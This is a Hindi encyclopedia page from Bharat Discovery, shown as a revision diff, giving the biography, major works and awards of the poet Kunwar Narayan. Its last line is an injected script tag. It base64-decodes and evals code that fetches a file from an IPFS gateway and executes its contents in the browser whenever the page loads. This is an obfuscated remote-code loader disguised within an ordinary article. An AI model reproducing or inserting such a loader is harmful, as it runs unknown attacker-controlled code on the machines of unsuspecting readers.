कुंवर नारायण: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
Line 30: Line 30:
|अन्य जानकारी=
|अन्य जानकारी=
|बाहरी कड़ियाँ=
|बाहरी कड़ियाँ=
|अद्यतन=
|अद्यतन=3:47, 19 सितम्बर 2010 (IST)
}}
}}



Revision as of 10:18, 19 September 2012

कुंवर नारायण
जन्म 19 सितम्बर, 1927
जन्म भूमि फैजाबाद, उत्तर प्रदेश
कर्म-क्षेत्र कवि, लेखक
मुख्य रचनाएँ 'चक्रव्यूह', 'तीसरा सप्तक', 'परिवेश : हम-तुम', 'आत्मजयी', 'आकारों के आसपास', 'अपने सामने', 'वाजश्रवा के बहाने', 'कोई दूसरा नहीं' और 'इन दिनों' आदि।
भाषा हिन्दी, अंग्रेज़ी
विद्यालय लखनऊ विश्वविद्यालय
शिक्षा अंग्रेज़ी साहित्य में एम.ए.
पुरस्कार-उपाधि 'ज्ञानपीठ पुरस्कार', 'साहित्य अकादमी पुरस्कार', 'व्यास सम्मान', 'कुमार आशान पुरस्कार', 'प्रेमचंद पुरस्कार', 'राष्ट्रीय कबीर सम्मान', 'शलाका सम्मान', 'अन्तर्राष्ट्रीय प्रीमियो फ़ेरेनिया सम्मान' और 'पद्मभूषण'।
नागरिकता भारतीय
अद्यतन‎ 3:47, 19 सितम्बर 2010 (IST)
इन्हें भी देखें कवि सूची, साहित्यकार सूची

कुंवर नारायण (जन्म- 19 सितम्बर, 1927, फैजाबाद, उत्तर प्रदेश) हिन्दी के सम्मानित कवियों में गिने जाते हैं। कुंवर जी की प्रतिष्ठा और आदर हिन्दी साहित्य की भयानक गुटबाजी के परे सर्वमान्य है। उनकी ख्याति सिर्फ़ एक लेखक की तरह ही नहीं, बल्कि कला की अनेक विधाओं में गहरी रुचि रखने वाले रसिक विचारक के समान भी है। कुंवर नारायण को अपनी रचनाशीलता में इतिहास और मिथक के माध्यम से वर्तमान को देखने के लिए जाना जाता है। उनका रचना संसार इतना व्यापक एवं जटिल है कि उसको कोई एक नाम देना सम्भव नहीं है। फ़िल्म समीक्षा तथा अन्य कलाओं पर भी उनके लेख नियमित रूप से पत्र-पत्रिकाओं में छपते रहे हैं। आपने अनेक अन्य भाषाओं के कवियों का हिन्दी में अनुवाद किया है और उनकी स्वयं की कविताओं और कहानियों के कई अनुवाद विभिन्न भारतीय और विदेशी भाषाओं में छपे हैं। 'आत्मजयी' का 1989 में इतालवी अनुवाद रोम से प्रकाशित हो चुका है। 'युगचेतना' और 'नया प्रतीक' तथा 'छायानट' के संपादक-मण्डल में भी कुंवर नारायण रहे हैं।

जीवन परिचय

19 सितम्बर, 1927 ई. को कुंवर नारायण का जन्म उत्तर प्रदेश के फैजाबाद ज़िले में हुआ था। कुंवर जी ने अपनी इंटर तक की शिक्षा विज्ञान वर्ग के अभ्यर्थी के रूप में प्राप्त की थी, किंतु साहित्य में रुचि होने के कारण वे आगे साहित्य के विद्यार्थी बन गये थे। उन्होंने 'लखनऊ विश्वविद्यालय' से 1951 में अंग्रेज़ी साहित्य में एम.ए. किया। 1973 से 1979 तक वे 'संगीत नाटक अकादमी' के उप-पीठाध्यक्ष भी रहे। कुंवर जी ने 1975 से 1978 तक अज्ञेय द्वारा सम्पादित मासिक पत्रिका में सम्पादक मंडल के सदस्य के रूप में भी कार्य किया। कुंवर नारायण की माता, चाचा और फिर बहन की असमय ही टी.बी. की बीमारी से मृत्यु हो गई थी। बीमारी से उनकी बहन बृजरानी की मात्र 19 वर्ष की अवस्था में ही मृत्यु हुई थी। इससे उन्हें बड़ा कष्ट और दु:ख पहुँचा था। कार चलाना कुंवर जी का पैतृक व्यवसाय रहा था। लेकिन इसके साथ-साथ उन्होंने साहित्य जगत में भी अपना प्रवेश कर लिया।

लेखन कार्य

कुंवर नारायण इस दौर के सर्वश्रेष्ठ साहित्यकार हैं। उनकी काव्ययात्रा 'चक्रव्यूह' से शुरू हुई थी। इसके साथ ही उन्होंने हिन्दी के काव्य पाठकों में एक नई तरह की समझ पैदा की। यद्यपि कुंवर नारायण की मूल विधा कविता ही रही है, किंतु इसके अलावा उन्होंने कहानी, लेख व समीक्षाओं के साथ-साथ सिनेमा, रंगमंच एवं अन्य कलाओं पर भी बखूबी अपनी लेखनी चलायी। इसके चलते जहाँ उनके लेखन में सहज ही संप्रेषणीयता आई, वहीं वे प्रयोगधर्मी भी बने रहे। उनकी कविताओं और कहानियों का कई भारतीय तथा विदेशी भाषाओं में अनुवाद भी हो चुका है। 'तनाव' पत्रिका के लिए उन्होंने कवाफी तथा ब्रोर्खेस की कविताओं का भी अनुवाद किया।

प्रमुख कृतियाँ

इनकी प्रमुख कृतियाँ निम्नलिखित हैं-

  1. चक्रव्यूह - 1956
  2. तीसरा सप्तक - 1959
  3. परिवेश : हम-तुम - 1961
  4. आत्मजयी/प्रबन्ध काव्य - 1965
  5. आकारों के आसपास - 1971
  6. अपने सामने - 1979
  7. वाजश्रवा के बहाने
  8. कोई दूसरा नहीं
  9. इन दिनों

समालोचना

इनके संग्रह 'परिवेश हम तुम' के माध्यम से मानवीय संबंधों की एक विरल व्याख्या सबके सामने आई। उन्होंने अपने प्रबंध 'आत्मजयी' में मृत्यु संबंधी शाश्वत समस्या को कठोपनिषद का माध्यम बनाकर अद्भुत व्याख्या के साथ प्रस्तुत किया। इसमें नचिकेता अपने पिता की आज्ञा, 'मृत्य वे त्वा ददामीति' अर्थात 'मैं तुम्हें मृत्यु को देता हूँ', को शिरोधार्य मानकर मृत्यु के देवता यमराज के द्वार पर चला जाता है, जहाँ वह तीन दिन तक भूखा-प्यासा रहकर यमराज के घर लौटने की प्रतीक्षा करता है। उसकी इस साधना से प्रसन्न होकर यमराज उसे तीन वरदान माँगने की अनुमति प्रदान करते हैं। नचिकेता इनमें से पहला वरदान यह माँगता है कि उसके पिता वाजश्रवा का क्रोध समाप्त हो जाए। नचिकेता के इसी कथन को आधार बनाकर कुंवर नारायण की जो कृति 2008 में 'वाजश्रवा के बहाने' शीर्षक से आई, उसमें उन्होंने पिता वाजश्रवा के मन में जो उद्वेलन चलता रहा, उसे अत्यधिक सात्विक शब्दावली में काव्यबद्ध किया है।

इस कृति की विरल विशेषता यह है कि 'अमूर्त' को एक अत्यधिक सूक्ष्म संवेदनात्मक शब्दावली देकर नई उत्साह परख जिजीविषा को वाणी दी है। जहाँ एक ओर 'आत्मजयी' में कुंवर नारायण ने मृत्यु जैसे विषय का निर्वचन किया है, वहीं इसके ठीक विपरीत 'वाजश्रवा के बहाने' कृति में अपनी विधायक संवेदना के साथ जीवन के आलोक को रेखांकित किया है। यह कृति आज के इस बर्बर समय में भटकती हुई मानसिकता को न केवल राहत देती है, बल्कि यह प्रेरणा भी देती है कि दो पीढ़ियों के बीच समन्वय बनाए रखने का समझदार ढंग क्या हो सकता है। उन्हें पढ़ते हुए, ये लगता है कि कुंवर नारायण हिन्दी की कविता के पिछले 55 वर्ष के इतिहास के संभवतः श्रेष्ठतम कवि हैं।

पुरस्कार व सम्मान

कुंवर नारायण को 2009 में वर्ष 2005 के 'ज्ञानपीठ पुरस्कार' से सम्मानित किया गया। 6 अक्टूबर को राष्ट्रपति प्रतिभा पाटिल ने उन्हें देश के सबसे बड़े साहित्यिक सम्मान से सम्मानित किया। कुंवर जी को 'साहित्य अकादमी पुरस्कार', 'व्यास सम्मान', 'कुमार आशान पुरस्कार', 'प्रेमचंद पुरस्कार', 'राष्ट्रीय कबीर सम्मान', 'शलाका सम्मान', 'मेडल ऑफ़ वॉरसा यूनिवर्सिटी', पोलैंड और रोम के 'अन्तर्राष्ट्रीय प्रीमियो फ़ेरेनिया सम्मान' और 2009 में 'पद्मभूषण' से भी सम्मानित किया जा चुका है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>